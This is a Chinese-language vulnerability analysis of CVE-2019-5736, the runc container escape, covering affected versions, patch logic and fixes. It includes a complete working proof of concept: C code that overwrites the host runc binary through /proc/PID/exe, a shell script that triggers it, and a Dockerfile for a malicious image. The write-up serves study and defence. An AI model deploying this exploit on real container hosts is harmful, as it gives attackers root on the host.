内容简介:CVE-2019-5736runc是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI tool,目前Docker、Containerd和CRI-O等容器都运行在runc之上。
漏洞编号
CVE-2019-5736
漏洞简介
runc是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI tool,目前 Docker 、Containerd和CRI-O等容器都运行在runc之上。
该漏洞允许恶意容器(以最少的用户交互)覆盖主机上的runc二进制文件,从而获得root权限在主机上执行代码。
漏洞可能影响通过受影响版本Docker部署的应用、虚拟主机、云服务器。K8s集群,含有受影响runc版本的 Linux 发行版等。漏洞影响
- Ubuntu:runc 1.0.0~rc4+dfsg1-6ubuntu0.18.10.1之前版本
- Debian:runc 0.1.1+dfsg1-2 之前版本
- RedHat Enterprise Linux: docker 1.13.1-91.git07f3374.el7之前版本
- Amazon Linux:docker 18.06.1ce-7.25.amzn1.x86_64之前版本
- CoreOS:2051.0.0之前版本
- Kops Debian 所有版本(正在修复)
- Docker:18.09.2之前版本
利用条件
- 使用攻击者控制的镜像创建新容器
- 攻击者具有某容器的写入权限,通过docker exec进入容器中
环境搭建
- CentOS
- gcc make 等 C语言 编译环境
- Docker 18.09.0
补丁分析
可以看出补丁中增加了克隆二进制文件的相关处理,并且在 nsexec() 函数中增加了判断是否是克隆文件的逻辑,如果不是克隆文件则抛出错误并退出。
漏洞分析
Docker 提供 exec 命令方便用户在宿主机与容器进行交互。如通过 docker run exec -it < CONTAINER ID> /bin/bash ,可以进入容器在容器中执行命令,此命令实际上执行了容器中的 /bin/bash 文件。我们可以在容器内覆盖目标文件为 #!/proc/self/exe ,如下图所示:
又知Docker的很多操作都是通过runc去运行的,因此可以通过 docker exec 命令执行到被覆盖的目标文件,欺骗runc执行它自己。因此在容器外运行 docker run exec -it < CONTAINER ID> /bin/bash 会欺骗runc运行 /proc/self/exe (runc)如下图:
此时
/bin/bash 已经被替换,并且成功欺骗runc执行runc。但runc进程不会一直驻留,因此编写一个 Shell 代码测试。
while true; do
for f in $(ps -ef | awk '{print $2}'); do
cmdline=$(cat /proc/${f}/cmdline)
if [[ ${cmdline} == *runc* ]]; then
echo !!!!!!!!found runc in proc !!!!!!!!!!!!!
fi
done
done
在运行以上代码时通过 docker exec 执行容器中的 /bin/bash ,看到如下输出即说明欺骗成功:
此时由于runc在使用中,无法直接覆盖runc,因此需要使用C语言编写PoC。通过 O_PATH 标志,忽略权限打开runc所在 /proc/${pid}/exe 的二进制文件,获取其文件标识符 fd 。然后在从文件标识符中( /proc/self/fd/${fd} )以 O_WRONLY (只写)标志重新打开文件,然后在一个循环中重复尝试将Payload写入文件标识符中,写入成功后在runc退出的时候会覆盖宿主机上的runc文件。再次使用runc(执行 docker exec 等)即可执行恶意代码。
利用效果如下,在容器中执行Shell覆盖 /bin/bash 文件并监控进程:
在容器外执行容器内的 /bin/bash 后,容器内发现runc进程马上执行恶意代码写入Payload:
查看效果:
PoC
- 拥有
docker exec权限,可构造PoC如下:
payload.c
#include <stdio.h>
#include <unistd.h>
int main (int argc, char **argv) {
execl("/usr/bin/touch", "touch", "/hacked_by_Tunan", NULL);
return 0;
}
poc.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#define PAYLOAD_MAX_SIZE 1048576
#define O_PATH 010000000
#define SELF_FD_FMT "/proc/self/fd/%d"
int main(int argc, char **argv) {
int fd, ret;
char *payload, dest[512];
if (argc < 2) {
printf("usage: %s FILE\n", argv[0]);
return 1;
}
payload = malloc(PAYLOAD_MAX_SIZE);
if (payload == NULL) {
puts("Could not allocate memory for payload.");
return 2;
}
FILE *f = fopen("./payload", "r");
if (f == NULL) {
puts("Could not read payload file.\n");
return 3;
}
int payload_sz = fread(payload, 1, PAYLOAD_MAX_SIZE, f);
for (;;) {
fd = open(argv[1], O_PATH); // O_PATH打开文件不需要对文件有权限
if (fd >= 0) {
printf("Successfuly opened %s at fd %d\n", argv[1], fd);
snprintf(dest, 500, SELF_FD_FMT, fd);// 格式化字符串,将文件标识符写入dest中
puts(dest);// 写入缓冲区
int i;
for (i = 0; i < 9999999; i++) {
fd = open(dest, O_WRONLY | O_TRUNC); // 以只写的形式再次打开缓冲区中的内容,拿到fd(文件标识符)
if (fd >= 0) {
printf("Successfully openned runc binary as WRONLY\n");
ret = write(fd, payload, payload_sz); // 写入文件标识符
if (ret > 0) printf("Payload deployed\n");
break;
}
}
break;
}
}
return 0;
}
poc.sh
#!/bin/bash
function poc() {
echo '#!/proc/self/exe' > /bin/bash
chmod +x /bin/bash
while true; do
for pid in $(ps -ef | awk '{print $2}'); do
cmdline=$(cat /proc/${pid}/cmdline)
if [[ ${cmdline} == *runc* ]]; then
echo !!!!!!!!runc was found !!!!!!!!!!!!!
echo pid:${pid}
echo starting exploit
./poc /proc/${pid}/exe
echo finish! run docker exec -it <CONTAINER ID> /bin/bash to see the effect
fi
done
done
}
exec 2>/dev/null
poc
- 如果没有
docker exec权限,可构造恶意image,增加Dockerfile:
FROM ubuntu RUN apt-get update RUN apt-get install -y build-essential ADD . /poc WORKDIR /poc RUN make CMD ["./poc.sh"]
修复建议
- Docker:更新Docker到18.09.2及以上版本
- Ubuntu:更新runc到runc 1.0.0~rc4+dfsg1-6ubuntu0.18.10.1及以上版本
- Debian:更新runc到runc 0.1.1+dfsg1-2及以上版本
- CoreOS:更新到2051.0.0及以上版本
参考
[1] https://www.anquanke.com/post/id/170762
[2] https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b#diff-c76fda6ad413becbb91b3db6f99f0f31
[3] https://github.com/feexd/pocs/blob/master/CVE-2019-5736/exploit.c以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- VirtualBox VMSVGA多个虚拟机逃逸漏洞分析
- 利用Chromium漏洞夺取CTF胜利:VitualBox虚拟机逃逸漏洞分析(CVE-2019-2446)
- 容器逃逸成真:从 CTF 解题到 CVE-2019-5736 漏洞挖掘分析
- VirtualBox虚拟机最新逃逸漏洞E1000 0 day详细分析(上)
- VirtualBox虚拟机最新逃逸漏洞E1000 0day详细分析(下)
- 打破Docker:runC容器逃逸漏洞的深入分析及多种利用方法(CVE-2019-5736)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Developer's Guide to Social Programming
Mark D. Hawker / Addison-Wesley Professional / 2010-8-25 / USD 39.99
In The Developer's Guide to Social Programming, Mark Hawker shows developers how to build applications that integrate with the major social networking sites. Unlike competitive books that focus on a s......一起来看看 《Developer's Guide to Social Programming》 这本书的介绍吧!